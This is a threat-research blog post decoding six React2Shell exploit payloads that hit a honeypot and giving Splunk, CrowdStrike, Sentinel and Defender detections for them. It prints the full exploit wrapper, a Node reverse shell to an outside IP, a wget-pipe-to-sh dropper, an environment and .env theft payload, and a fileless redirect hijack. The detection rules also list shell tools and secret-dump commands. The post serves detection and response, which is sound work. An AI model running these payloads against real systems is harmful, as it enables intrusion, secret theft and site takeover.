Global SOC / Blog
DNS Audit

THREAT RESEARCH & LABS · Yogesh · 9 November 2026

Detecting React2Shell: Six Payloads, a Reverse Shell Sent 54 Times, and the Rules That Catch Them

My PHP honeypot received 70 React2Shell exploit requests for a Next.js bug it can't have. I decode the six payload types, from a marker check to environment theft and a fileless redirect hijack, map them to ATT&CK, and give detections for Splunk + CrowdStrike and Sentinel + Defender for Endpoint.

Part of my honeypot detection series. Org A runs Splunk with CrowdStrike Falcon. Its Falcon queries use Event Search field names; on raw FDR data, apply the normalisation macro first. Org B runs Microsoft Sentinel with Defender for Endpoint. The web-layer KQL ran against the honeypot's real logs. The endpoint queries are written from the decoded payloads, so adapt the field names to your environment.

1. What Hit the Server

React2Shell (CVE-2025-55182) is a CVSS 10 bug in React Server Components. One unauthenticated POST to a vulnerable Next.js App Router site runs JavaScript inside the Node.js server. My honeypot is Apache and PHP, with no Node at all. It still got 70 exploit requests, because nobody checks first.

That makes it a clean sample. Nothing could run, so I kept every payload whole. They fall into six types:

PayloadRequestsSources
Reverse shell541
Command check (run echo, return the output)95
Marker check (no command)44
Secret theft (id, env, .env)11
Dropper (wget | sh)11
Redirect hijack (fileless)11

The reverse shell is the one that sticks with me. The exact same bytes arrived 54 times, on ten different days, from one IP, roughly every two hours. Someone has a cron job pointed at a list of targets, and nobody's pruning it.

2. The Attack, Step by Step

Exploit Step 1: The wrapper

Every payload uses the same wrapper. Here's the simplest, the marker check:

POST / HTTP/1.1
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`NEXT_REDIRECT;push;/login?a=DUOSCANNER777;307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

It's a three-field multipart form in React's Server Action wire format. Field 1 ("$@0") hands chunk 0 to the decoder as a raw internal object. Chunk 0 then walks __proto__ to get a real then method, and walks constructor:constructor to reach Function. The decoder ends up calling Function(_prefix + "1337"), so the _prefix string runs as JavaScript (T1190, T1059.007). The real attack also sends a Next-Action header so Next.js routes the POST to that decoder. My packet capture shows the reverse-shell bot sending Next-Action: x.

To get results back, payloads throw a fake NEXT_REDIRECT error. Next.js copies its "digest" into the x-action-redirect response header, so the command output comes back in a header.

Exploit Step 2: Check before acting

The marker check above runs nothing. It only asks Next.js to redirect to /login?a=DUOSCANNER777. If that comes back, the site is vulnerable. The command checks go one step further, running echo <random> and returning it.

Credential Access Step 3a: Steal the environment

var r;
try{
  if(process.mainModule&&process.mainModule.require){
    r=process.mainModule.require('child_process').execSync('timeout 8 id; echo ===ENV===; env; echo ===E===; cat .env 2>/dev/null; echo ===DOTENV===; cd /app 2>/dev/null && cat .env 2>/dev/null')
  }else{
    var rr=process.binding('spawn_sync').spawn({file:'/bin/sh',args:['sh','-c','id; echo ===ENV===; env; echo ===E===; cat .env 2>/dev/null; echo ===DOTENV===; cd /app 2>/dev/null && cat .env 2>/dev/null'],envPairs:Object.entries(process.env).map(function(e){
      return e[0]+'='+e[1]
    }),stdio:[{type:'pipe',readable:true,writable:false},{type:'pipe',readable:false,writable:true},{type:'pipe',readable:false,writable:true}]});
    r=Buffer.from(rr.output[1]||'')+Buffer.from(rr.output[2]||'')
  }
}catch(e){
  r=''
}throw Object.assign(new Error('x'),{digest:Buffer.from(String(r)).toString('base64')});

One round trip returns id, the whole process environment and .env, base64-encoded in the error digest (T1552.001, T1082). For a containerised Next.js app, that's the database URL, auth secret and cloud keys. Note that blocking /.env at the web server does nothing here. The payload reads the file from inside the application.

Delivery Step 3b: Drop and run

var res=process.mainModule.require('child_process').execSync('(cd /tmp; crontab -r 2>/dev/null; wget hxxp://134.209.89[.]212/r -O- | sh) ; echo 11111').toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});

crontab -r wipes the user's crontab, which removes a competitor's persistence or your own jobs (T1070). Then it fetches a script and pipes it into sh without touching disk (T1105, T1059.004).

C2 Step 3c: Reverse shell

var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('/bin/sh',[]),cl=new n.Socket();
cl.connect(12323,'91.92.40[.]12',()=>{
  cl.pipe(s.stdin);
  s.stdout.pipe(cl);
  s.stderr.pipe(cl);
});

Node spawns /bin/sh and pipes it over TCP to port 12323 on the same IP that sent the exploit (T1059.004, T1571). The only thing on the host is node making an outbound connection to a high port and starting a shell with no arguments.

Actions on Objectives Step 3d: Fileless redirect hijack

(function(){
  var r=process.mainModule.require,u='hxxps://return[.]st/',h=function(m){
    var o=m.Server.prototype.emit;
    m.Server.prototype.emit=function(t){
      if(t==='request'){
        var q=arguments[1],s=arguments[2];
        if(q.method==='GET'||q.method==='HEAD'){
          s.writeHead(307,{Location:u});
          s.end();
          return true
        }
      }return o.apply(this,arguments)
    }
  };
  h(r('http'));
  try{
    h(r('https'))
  }catch(e){
  }
})();
try{
  process.mainModule.require('child_process').exec('echo lol')
}catch(e){
};
var e=new Error('NEXT_REDIRECT');
e.digest='NEXT_REDIRECT;replace;hxxps://return[.]st/;307;';
throw e;

This is the one EDR will struggle with. It patches Node's Server.prototype.emit in memory so every GET and HEAD gets a 307 to the attacker's site, while POST keeps working so they can re-exploit later. No file is written, and the only process it starts is a throwaway echo lol. File-integrity checks and image scans see nothing. The symptom is in your traffic: a site that suddenly answers almost everything with a redirect (T1565.003 Runtime Data Manipulation, T1491.002 External Defacement).

3. Pyramid of Pain

LevelIndicatorWhat I'd do with it
IP / domainReverse-shell C2 91.92.40[.]12:12323; dropper 134.209.89[.]212; redirect target return[.]stBlock, and expect them to change.
Network artefactsBoundary ----WebKitFormBoundaryx8jO2oVc6SWP3Sad (copied from the public PoC); markers DUOSCANNER777, R2SHELL_Great free signals. A real browser never repeats a boundary. But a fixed boundary is a copy-paste habit that one edit removes.
Tools$1:__proto__:then, $1:constructor:constructor, resolved_modelThe exploit can't work without walking the prototype chain. Matching these strings catches every variant here.
TTPsnode spawning a shell; node connecting to a high port on a public IP; a site whose redirect rate jumps to 90%+Highest value. These catch the next Node RCE too, not just React2Shell.

4. Web-Layer Detections

For Org B I've parsed the honeypot's nginx log into a WebAccess function. For Org A I've used raw nginx where we need the body, and the CIM Web data model otherwise. Most production logs don't record POST bodies. A WAF with body inspection (Azure WAF, AWS WAF or Cloudflare all have managed React2Shell rules) is the realistic place for W1.

let WebAccess = Syslog
| where SyslogMessage startswith "php_http: "
| extend j = parse_json(substring(SyslogMessage, 10))
| project TimeGenerated, DestHost = Computer, SrcIp = tostring(j.client), Method = tostring(j.method), Request = tostring(j.request),
          Url = tostring(j.uri), Status = toint(j.status), BytesOut = toint(j.bytes_out),
          UserAgent = tostring(j.user_agent), ContentType = tostring(j.content_type), Body = tostring(j.body);

W1. The React2Shell wrapper, classified by payload (T1190)

Org B Tested: produced the table in section 1.

WebAccess
| where Method == "POST" and ContentType startswith "multipart/form-data"
| where Body has "__proto__" and Body has "constructor:constructor"
| extend Payload = case(
    Body has "child_process" and Body has "net" and Body has ".connect(", "reverse shell",
    Body has "Server.prototype.emit", "redirect hijack",
    Body has_any ("wget", "curl") and Body has "| sh", "dropper",
    Body has "===ENV===" or (Body has "env" and Body has ".env"), "secret theft",
    Body has "execSync" or Body has "spawn_sync", "command check",
    "marker check")
| summarize Requests = count(), Sources = dcount(SrcIp), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by Payload
| order by Requests desc

Org A

index=web sourcetype=nginx:access method=POST "multipart/form-data" "__proto__" "constructor:constructor"
| eval payload=case(
    searchmatch("child_process") AND searchmatch(".connect("), "reverse shell",
    searchmatch("Server.prototype.emit"),                       "redirect hijack",
    (searchmatch("wget") OR searchmatch("curl")) AND searchmatch("| sh"), "dropper",
    searchmatch("===ENV==="),                                   "secret theft",
    searchmatch("execSync") OR searchmatch("spawn_sync"),       "command check",
    true(),                                                     "marker check")
| stats count dc(clientip) as sources min(_time) as first max(_time) as last by payload

On a site that runs Next.js, any hit is high severity. Check whether you're on a patched React and Next.js version, then go straight to E1 and E2.

W2. The public PoC's fixed multipart boundary

Org B Tested: 61 requests from 7 sources.

WebAccess
| where Method == "POST" and ContentType has "boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
| summarize Requests = count(), Sources = dcount(SrcIp)

Org A

| tstats count dc(Web.src) as sources from datamodel=Web
    where Web.http_method=POST Web.http_content_type="*boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad*"
    by Web.dest

This works even where bodies aren't logged, because the boundary is in the Content-Type header. That makes it a good first rule for anyone without a WAF.

W3. The same exploit, over and over

Org B Tested: 91.92.40[.]12 sent one identical body (one hash) 54 times over 10 days. The only other hit was my own scanner (5 requests, 5 different bodies).

WebAccess
| where Method == "POST" and Body has "__proto__" and Body has "constructor:constructor"
| summarize Requests = count(), Days = dcount(bin(TimeGenerated, 1d)), Hashes = dcount(hash_sha256(Body)) by SrcIp
| where Requests >= 5

Org A

index=web sourcetype=nginx:access method=POST "__proto__" "constructor:constructor"
| eval body_hash=sha256(request_body)
| stats count dc(eval(strftime(_time,"%F"))) as days dc(body_hash) as hashes by clientip
| where count >= 5

One body, many days: that's automation with a target list. Feed the source IP to your blocklist. More importantly, the destination in the body is the C2, so hunt for it in your egress logs.

5. Endpoint Detections

E1. Node spawns a shell or recon tool (T1059.004)

Org A

index=crowdstrike event_platform=Lin event_simpleName=ProcessRollup2
    (ParentBaseFileName IN ("node","next-server") OR GrandParentBaseFileName IN ("node","next-server"))
    FileName IN ("sh","bash","dash","wget","curl","id","env","cat","crontab","whoami","uname")
| table _time ComputerName UserName GrandParentBaseFileName ParentBaseFileName FileName CommandLine

Org B

DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("node", "next-server") or InitiatingProcessParentFileName in~ ("node", "next-server")
| where FileName in~ ("sh","bash","dash","wget","curl","id","env","cat","crontab","whoami","uname")
| project Timestamp, DeviceName, AccountName, InitiatingProcessCommandLine, FileName, ProcessCommandLine

Next.js servers rarely shell out. Image processing (sharp) runs in-process, and build steps happen at build time. Baseline for a week, and anything new is high severity. This rule catches the command checks, the theft payload and the dropper.

E2. Node opens a shell and calls out on a high port (reverse shell)

Org A

index=crowdstrike event_platform=Lin event_simpleName=NetworkConnectIP4
    NOT RemotePort IN (80, 443, 5432, 3306, 6379, 27017)
| where NOT cidrmatch("10.0.0.0/8", RemoteAddressIP4) AND NOT cidrmatch("172.16.0.0/12", RemoteAddressIP4)
    AND NOT cidrmatch("192.168.0.0/16", RemoteAddressIP4)
| join type=inner aid ContextProcessId_decimal
    [ search index=crowdstrike event_platform=Lin event_simpleName=ProcessRollup2 FileName IN ("node","next-server")
      | rename TargetProcessId_decimal as ContextProcessId_decimal
      | fields aid ContextProcessId_decimal FileName CommandLine ]
| table _time ComputerName FileName CommandLine RemoteAddressIP4 RemotePort

Org B

let NodeShells = DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("node", "next-server") and FileName in~ ("sh", "bash", "dash")
| project DeviceId, ShellTime = Timestamp, NodePid = InitiatingProcessId, ShellCmd = ProcessCommandLine;
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("node", "next-server")
| where RemoteIPType == "Public" and RemotePort !in (80, 443, 5432, 3306, 6379, 27017)
| join kind=inner NodeShells on DeviceId, $left.InitiatingProcessId == $right.NodePid
| where Timestamp between (ShellTime - 1m .. ShellTime + 1m)
| project Timestamp, DeviceName, RemoteIP, RemotePort, InitiatingProcessCommandLine, ShellCmd

A web server process connecting to a public IP on a port that isn't a database or HTTPS, around the same time it started a shell, is a reverse shell. Critical severity. Add your legitimate outbound dependencies (payment APIs on unusual ports, for example) to the port allowlist.

E3. Crontab wipe or environment dump from an app runtime (T1070, T1552.001)

Org A

index=crowdstrike event_platform=Lin event_simpleName=ProcessRollup2
    ((FileName="crontab" CommandLine="*-r*")
     OR (FileName IN ("sh","bash","dash") CommandLine="*env*" CommandLine="*.env*"))
    (ParentBaseFileName IN ("node","php","php-fpm*","java","python*") OR GrandParentBaseFileName IN ("node","php","php-fpm*","java","python*"))
| table _time ComputerName UserName ParentBaseFileName FileName CommandLine

Org B

DeviceProcessEvents
| where Timestamp > ago(7d)
| where (FileName == "crontab" and ProcessCommandLine has "-r")
     or (FileName in~ ("sh","bash","dash") and ProcessCommandLine has "env" and ProcessCommandLine has ".env")
| where InitiatingProcessFileName in~ ("node","php","php-fpm","java","python3")
     or InitiatingProcessParentFileName in~ ("node","php","php-fpm","java","python3")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine

This catches the dropper's crontab -r and the theft payload's env; cat .env. It's written for any app runtime (Node, PHP, Java, Python), because the same commands show up in RCE payloads for all of them.

E4. The fileless hijack: a site that suddenly redirects everything

No EDR rule will see an in-memory patch to Server.prototype.emit. Your traffic will. Compare each site's redirect rate with its own baseline:

Org A

| tstats count from datamodel=Web where Web.http_method IN ("GET","HEAD") by _time span=5m Web.dest Web.status
| rename Web.* as *
| eval is_redirect=if(status>=300 AND status<400, count, 0)
| stats sum(count) as total sum(is_redirect) as redirects by _time dest
| eval redirect_pct=round(100*redirects/total, 1)
| streamstats window=12 current=f avg(redirect_pct) as baseline by dest
| where total >= 50 AND redirect_pct >= 90 AND baseline < 20

Org B

// AppServiceHTTPLogs shown; the same logic works on Front Door, App Gateway or your WebAccess source
let Baseline = AppServiceHTTPLogs
| where TimeGenerated between (ago(1d) .. ago(15m)) and CsMethod in ("GET", "HEAD")
| summarize BaselinePct = round(100.0 * countif(ScStatus between (300 .. 399)) / count(), 1) by _ResourceId;
AppServiceHTTPLogs
| where TimeGenerated > ago(15m) and CsMethod in ("GET", "HEAD")
| summarize Total = count(), Redirects = countif(ScStatus between (300 .. 399)) by _ResourceId
| extend RedirectPct = round(100.0 * Redirects / Total, 1)
| join kind=inner Baseline on _ResourceId
| where Total >= 50 and RedirectPct >= 90 and BaselinePct < 20

A synthetic check that fetches your home page and alerts on a cross-domain Location header does the same job with less tuning. It's worth having for any public site.

6. When It Fires

  1. W1 to W3 only: confirm the target isn't running Next.js App Router, or is patched. Hunt for the C2 IP from the body in your egress logs.
  2. E1 or E2: assume the app is compromised. Org A Network-contain the host in Falcon. Org B Isolate it in Defender. If it's a container, also scale the deployment to zero, or cordon the node.
  3. Assume the secrets are gone. The theft payload sends back env and .env in one request. Rotate everything the app's environment held.
  4. E4 fired: restart every app instance. The hijack only lives in memory. Then patch, or the next POST puts it straight back.
  5. Patch React and Next.js to fixed versions, and redeploy from a clean image.

7. Hardening

8. IOCs

TypeValueContext
Reverse shell C291.92.40[.]12:12323/tcpAlso the sending IP; 54 identical attempts
Second stagehxxp://134.209.89[.]212/rDropper, piped to sh
Redirect targethxxps://return[.]st/Fileless hijack
Boundary----WebKitFormBoundaryx8jO2oVc6SWP3Sad; ----CveSweep + 8 hexPublic PoC; sweep tool
MarkersR2SHELL_ + 10 hex, DUOSCANNER777, RECONX_R2S_OK, 11111In the body, and in x-action-redirect on a vulnerable server
Body strings$1:__proto__:then, $1:constructor:constructor, resolved_model, _formDataEvery variant